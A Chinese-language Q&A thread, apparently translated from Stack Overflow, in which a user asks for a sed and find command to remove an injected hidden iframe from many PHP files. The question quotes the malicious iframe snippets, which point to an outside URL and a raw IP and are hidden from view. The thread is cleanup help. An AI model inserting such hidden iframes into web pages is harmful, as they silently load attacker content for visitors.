单引号iframe病毒

时间:2010-06-18 17:21:37

标签: shell iframe

我正在寻找一个shell脚本来从多个文件中删除以下代码:

<iframe hbfww='BoGJMTtZ' src='http://getrelax4you.com/in.cgi?7 ' width='665' height='432' style='display:none'></iframe>

我找到了删除iframe的脚本,但是他们认为代码有双引号

像这样的人:

find -name "*.php" -exec sed -i 's/<iframe src="http:\/\/124.217.252.62\/~admin\/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no><\/iframe>//' {} \;

我试图逃避像这样的单引号

find -name "*.php" -exec sed -i 's/<iframe src=\'http:\/\/getrelax4you\/in.cgi?7 \' width=\'665\' height=\'432\' style=\'display:none\'><\/iframe>//' {} \;

然后我得到 - &gt;意外标记`&lt;'

附近的语法错误

4 个答案:

答案 0 :(得分:1)

cat xyz.php | sed "s/.*BoG.*$//g" > fixedxyz.php

尽可能多地替换BoG以使其独一无二('&lt;'与我的搜索/替换无关)

答案 1 :(得分:0)

您可能需要使用反斜杠转义<\<(或\\<,以逃避shell中的转义字符

答案 2 :(得分:0)

奇怪,但外面的双引号为我工作:

find -name "*.php" -exec sed -i "s/<iframe src=\'http:\/\/getrelax4you\/in.cgi?7 \' width=\'665\' height=\'432\' style=\'display:none\'><\/iframe>//" {} \;

但我不禁想知道为什么你的命令不起作用。我在bash上试过这个。

答案 3 :(得分:0)

这应该没有任何转义:

sed "s|<iframe hbfww='BoGJMTtZ' src='http://getrelax4you.com/in.cgi?7 ' width='665' height='432' style='display:none'></iframe>||"